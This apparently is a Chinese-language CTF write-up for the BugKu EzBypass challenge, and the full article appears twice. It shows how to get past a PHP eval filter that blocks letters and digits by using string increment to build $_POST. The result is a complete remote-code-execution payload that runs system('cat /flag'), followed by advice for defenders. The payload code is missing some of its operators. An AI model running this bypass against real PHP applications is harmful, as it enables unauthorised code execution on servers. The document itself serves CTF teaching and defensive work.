PHP代码审计中的字符魔术从特殊符号到完整RCE的奇幻之旅在CTF竞赛和真实渗透测试中我们常常会遇到各种严格的字符过滤机制。想象这样一个场景你面对的PHP代码只允许使用下划线、点号和逗号等极少数特殊字符所有字母、数字和常见符号都被preg_match无情过滤。这就像被关在一个字符监狱里手中只有几把生锈的钥匙——但正是这种极端限制往往能激发出最精妙的绕过技巧。1. 理解挑战的本质字符监狱的围墙首先我们需要清楚题目设置的过滤规则。查看源代码中的正则表达式if (!preg_match(/[a-zA-Z0-9#%^*:{}\-?\|~\\\\]/,$code)){ eval($code); }这个正则表达式几乎过滤了所有可见的危险字符只留下极少数安全字符。通过简单的字符测试脚本for ($i32;$i127;$i){ if (!preg_match(/[a-zA-Z0-9#%^*:{}\-?\|~\\\\]/,chr($i))){ echo chr($i); } }我们可以确认允许使用的字符主要包括$ ()[];.,/_。这就像在玩一个字符版的拼图游戏——我们需要用这些有限的拼图块组合出完整的函数调用。2. PHP的字符串自增特性从下划线到字母表PHP有一个鲜为人知但极其强大的特性字符串自增。与数字自增类似字符串也可以通过操作符进行递增$_ a; $_; // $_现在是b但更有趣的是这个特性对特殊字符同样有效。让我们从下划线_开始$_ _; $_; // $_现在变成a这个特性为我们打开了一扇大门——可以从允许的特殊字符孵化出被过滤的字母。以下是关键步骤的演进初始字符获取$_(_/_._)[_];(_/_._)生成字符串NAN因为0/0等于NAN[_]取第一个字符N因为_被当作字符串时会转换为0逐步自增构建POST$_; // O $__$_.$_; // PO注意这里用了后置 $_;$_; // Q变成R再变成S $__$__.$_; // POS $_; // T $__$__.$_; // POST构造$_POST变量$__.$__; // _POST3. 完整RCE链条的组装有了$_POST这个关键变量我们就可以通过变量变量variable variables来执行任意函数了$$_[_]($$_[__]); // 等价于 $_POST[_]($_POST[__]) // 如果传入 _system__whoami则变成 system(whoami)最终的payload需要将所有这些步骤用允许的字符连接起来code$_(_/_._)[_];$_;$__$_.$_;$_;$_;$_;$__$__.$_;$_;$__$__.$_;$__.$__;$$_[_]($$_[__]);_system__cat /flag4. 实战中的注意事项与技巧在实际应用这种技术时有几个关键点需要注意PHP版本差异该技巧在PHP 7.0上稳定工作PHP 5.x版本可能会有不同的字符串处理行为本地测试时建议使用Docker快速切换版本docker run -it --rm php:7.4-cli php -r $_N;$_;echo $_;调试技巧分阶段验证每构建一个字符就输出检查使用var_dump观察中间结果$_(_/_._)[_]; var_dump($_); $_; var_dump($_);从简单开始先构建system再尝试更复杂的函数链Payload优化最小化字符使用移除不必要的分号考虑使用更短的初始字符路径探索其他未被过滤的字符组合可能性5. 防御思路与安全启示站在防御者角度如何防止这种精妙的绕过白名单优于黑名单定义允许的字符集而不是禁止的例如只允许特定的无害字符禁用危险函数disable_functions exec,passthru,shell_exec,system输入内容限制限制输入长度禁止多重变量解析使用沙盒环境在隔离环境中执行不可信代码设置严格的资源限制这种绕过技术展示了安全领域一个永恒真理过滤机制的安全性取决于它最薄弱的环节。当开发者认为已经过滤了所有危险字符时攻击者总能找到意想不到的组合方式。这也是为什么安全专家总是强调深度防御——没有单一的银弹能解决所有安全问题。
PHP代码审计新思路:不用字母数字,如何用‘自增’字符串构造RCE(BugKu EzBypass实战)
发布时间:2026/6/11 23:03:15
PHP代码审计中的字符魔术从特殊符号到完整RCE的奇幻之旅在CTF竞赛和真实渗透测试中我们常常会遇到各种严格的字符过滤机制。想象这样一个场景你面对的PHP代码只允许使用下划线、点号和逗号等极少数特殊字符所有字母、数字和常见符号都被preg_match无情过滤。这就像被关在一个字符监狱里手中只有几把生锈的钥匙——但正是这种极端限制往往能激发出最精妙的绕过技巧。1. 理解挑战的本质字符监狱的围墙首先我们需要清楚题目设置的过滤规则。查看源代码中的正则表达式if (!preg_match(/[a-zA-Z0-9#%^*:{}\-?\|~\\\\]/,$code)){ eval($code); }这个正则表达式几乎过滤了所有可见的危险字符只留下极少数安全字符。通过简单的字符测试脚本for ($i32;$i127;$i){ if (!preg_match(/[a-zA-Z0-9#%^*:{}\-?\|~\\\\]/,chr($i))){ echo chr($i); } }我们可以确认允许使用的字符主要包括$ ()[];.,/_。这就像在玩一个字符版的拼图游戏——我们需要用这些有限的拼图块组合出完整的函数调用。2. PHP的字符串自增特性从下划线到字母表PHP有一个鲜为人知但极其强大的特性字符串自增。与数字自增类似字符串也可以通过操作符进行递增$_ a; $_; // $_现在是b但更有趣的是这个特性对特殊字符同样有效。让我们从下划线_开始$_ _; $_; // $_现在变成a这个特性为我们打开了一扇大门——可以从允许的特殊字符孵化出被过滤的字母。以下是关键步骤的演进初始字符获取$_(_/_._)[_];(_/_._)生成字符串NAN因为0/0等于NAN[_]取第一个字符N因为_被当作字符串时会转换为0逐步自增构建POST$_; // O $__$_.$_; // PO注意这里用了后置 $_;$_; // Q变成R再变成S $__$__.$_; // POS $_; // T $__$__.$_; // POST构造$_POST变量$__.$__; // _POST3. 完整RCE链条的组装有了$_POST这个关键变量我们就可以通过变量变量variable variables来执行任意函数了$$_[_]($$_[__]); // 等价于 $_POST[_]($_POST[__]) // 如果传入 _system__whoami则变成 system(whoami)最终的payload需要将所有这些步骤用允许的字符连接起来code$_(_/_._)[_];$_;$__$_.$_;$_;$_;$_;$__$__.$_;$_;$__$__.$_;$__.$__;$$_[_]($$_[__]);_system__cat /flag4. 实战中的注意事项与技巧在实际应用这种技术时有几个关键点需要注意PHP版本差异该技巧在PHP 7.0上稳定工作PHP 5.x版本可能会有不同的字符串处理行为本地测试时建议使用Docker快速切换版本docker run -it --rm php:7.4-cli php -r $_N;$_;echo $_;调试技巧分阶段验证每构建一个字符就输出检查使用var_dump观察中间结果$_(_/_._)[_]; var_dump($_); $_; var_dump($_);从简单开始先构建system再尝试更复杂的函数链Payload优化最小化字符使用移除不必要的分号考虑使用更短的初始字符路径探索其他未被过滤的字符组合可能性5. 防御思路与安全启示站在防御者角度如何防止这种精妙的绕过白名单优于黑名单定义允许的字符集而不是禁止的例如只允许特定的无害字符禁用危险函数disable_functions exec,passthru,shell_exec,system输入内容限制限制输入长度禁止多重变量解析使用沙盒环境在隔离环境中执行不可信代码设置严格的资源限制这种绕过技术展示了安全领域一个永恒真理过滤机制的安全性取决于它最薄弱的环节。当开发者认为已经过滤了所有危险字符时攻击者总能找到意想不到的组合方式。这也是为什么安全专家总是强调深度防御——没有单一的银弹能解决所有安全问题。